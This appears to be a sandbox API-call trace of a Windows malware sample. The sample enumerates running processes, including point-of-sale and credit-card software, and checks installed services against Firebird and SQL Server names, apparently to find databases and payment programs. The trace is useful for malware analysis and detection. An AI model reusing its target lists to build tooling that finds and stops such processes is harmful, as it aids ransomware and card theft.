	[0076.628] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0076.629] lstrlenW (lpString="totalcmd.exe") returned 12
	[0076.629] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0076.630] lstrlenW (lpString="trillian.exe") returned 12
	[0076.630] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0076.631] lstrlenW (lpString="webdrive.exe") returned 12
	[0076.631] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0076.632] lstrlenW (lpString="whatsapp.exe") returned 12
	[0076.632] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0076.634] lstrlenW (lpString="winscp.exe") returned 10
	[0076.634] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0076.635] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0076.635] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0076.636] lstrlenW (lpString="active-charge.exe") returned 17
	[0076.636] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0076.637] lstrlenW (lpString="accupos.exe") returned 11
	[0076.637] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0076.638] lstrlenW (lpString="afr38.exe") returned 9
	[0076.638] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0076.638] lstrlenW (lpString="aldelo.exe") returned 10
	[0076.638] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0076.639] lstrlenW (lpString="ccv_server.exe") returned 14
	[0076.639] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0076.640] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0076.640] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0076.641] lstrlenW (lpString="creditservice.exe") returned 17
	[0076.641] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0076.642] lstrlenW (lpString="edcsvr.exe") returned 10
	[0076.642] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0076.643] lstrlenW (lpString="fpos.exe") returned 8
	[0076.643] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0076.643] lstrlenW (lpString="isspos.exe") returned 10
	[0076.643] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0076.645] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0076.645] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0076.646] lstrlenW (lpString="omnipos.exe") returned 11
	[0076.646] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0076.647] lstrlenW (lpString="spcwin.exe") returned 10
	[0076.647] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0076.648] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0076.648] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0076.649] lstrlenW (lpString="utg2.exe") returned 8
	[0076.649] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0076.651] lstrlenW (lpString="explicit.exe") returned 12
	[0076.651] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0076.651] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0076.651] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0076.652] lstrlenW (lpString="taskhostw.exe") returned 13
	[0076.652] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0076.654] lstrlenW (lpString="UsoClient.exe") returned 13
	[0076.654] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0076.654] lstrlenW (lpString="taskhostw.exe") returned 13
	[0076.654] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0076.655] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0076.655] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0076.656] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0076.656] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0077.114] lstrlenW (lpString="conhost.exe") returned 11
	[0077.114] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0077.174] lstrlenW (lpString="conhost.exe") returned 11
	[0077.181] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.197] lstrlenW (lpString="svchost.exe") returned 11
	[0077.198] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0077.203] lstrlenW (lpString="fvppjh.exe") returned 10
	[0077.203] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.204] lstrlenW (lpString="svchost.exe") returned 11
	[0077.204] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0077.205] lstrlenW (lpString="cmd.exe") returned 7
	[0077.205] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0077.205] lstrlenW (lpString="conhost.exe") returned 11
	[0077.205] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0077.206] lstrlenW (lpString="dllhost.exe") returned 11
	[0077.206] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0077.206] lstrlenW (lpString="TrustedInstaller.exe") returned 20
	[0077.206] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 0
	[0077.207] CloseHandle (hObject=0x310) returned 1
	[0077.207] Sleep (dwMilliseconds=0x1f4) 
	[0077.840] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75ec28
	[0077.841] EnumServicesStatusExW (in: hSCManager=0x75ec28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0077.841] GetLastError () returned 0xea
	[0077.841] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1d6a) returned 0x783bf0
	[0077.842] EnumServicesStatusExW (in: hSCManager=0x75ec28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x783bf0, cbBufSize=0x1d6a, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x783bf0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0077.842] CloseServiceHandle (hSCObject=0x75ec28) returned 1
	[0077.843] lstrlenW (lpString="Appinfo") returned 7
	[0077.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0077.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0077.843] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0077.843] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0077.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0077.843] lstrlenW (lpString="AppXSvc") returned 7
	[0077.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0077.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0077.843] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0077.843] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0077.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0077.843] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0077.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0077.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0077.843] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0077.843] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0077.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0077.843] lstrlenW (lpString="Audiosrv") returned 8
	[0077.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0077.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0077.843] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0077.843] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0077.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0077.843] lstrlenW (lpString="BFE") returned 3
	[0077.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0077.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0077.843] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0077.843] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0077.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0077.843] lstrlenW (lpString="BITS") returned 4
	[0077.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0077.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0077.843] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0077.843] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0077.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0077.844] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0077.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0077.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0077.844] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0077.844] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0077.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0077.844] lstrlenW (lpString="CDPSvc") returned 6
	[0077.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0077.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0077.844] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0077.844] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0077.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0077.844] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0077.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0077.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0077.844] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0077.844] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0077.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0077.844] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0077.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0077.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0077.844] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0077.844] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0077.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0077.844] lstrlenW (lpString="CryptSvc") returned 8
	[0077.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0077.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0077.844] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0077.844] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0077.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0077.844] lstrlenW (lpString="DcomLaunch") returned 10
	[0077.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0077.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0077.844] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0077.844] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0077.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0077.845] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0077.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0077.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0077.845] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0077.845] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0077.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0077.845] lstrlenW (lpString="Dhcp") returned 4
	[0077.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0077.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0077.845] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0077.845] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0077.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0077.845] lstrlenW (lpString="Dnscache") returned 8
	[0077.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0077.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0077.845] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0077.845] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0077.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0077.845] lstrlenW (lpString="DoSvc") returned 5
	[0077.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0077.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0077.845] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0077.845] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0077.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0077.845] lstrlenW (lpString="DPS") returned 3
	[0077.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0077.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0077.845] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0077.845] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0077.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0077.845] lstrlenW (lpString="DusmSvc") returned 7
	[0077.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0077.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0077.845] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0077.845] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0077.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0077.846] lstrlenW (lpString="EventLog") returned 8
	[0077.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0077.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0077.846] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0077.846] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0077.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0077.846] lstrlenW (lpString="EventSystem") returned 11
	[0077.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0077.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0077.846] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0077.846] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0077.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0077.846] lstrlenW (lpString="FontCache") returned 9
	[0077.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0077.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0077.846] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0077.846] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0077.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0077.846] lstrlenW (lpString="gpsvc") returned 5
	[0077.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0077.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0077.846] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0077.846] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0077.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0077.846] lstrlenW (lpString="iphlpsvc") returned 8
	[0077.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0077.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0077.846] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
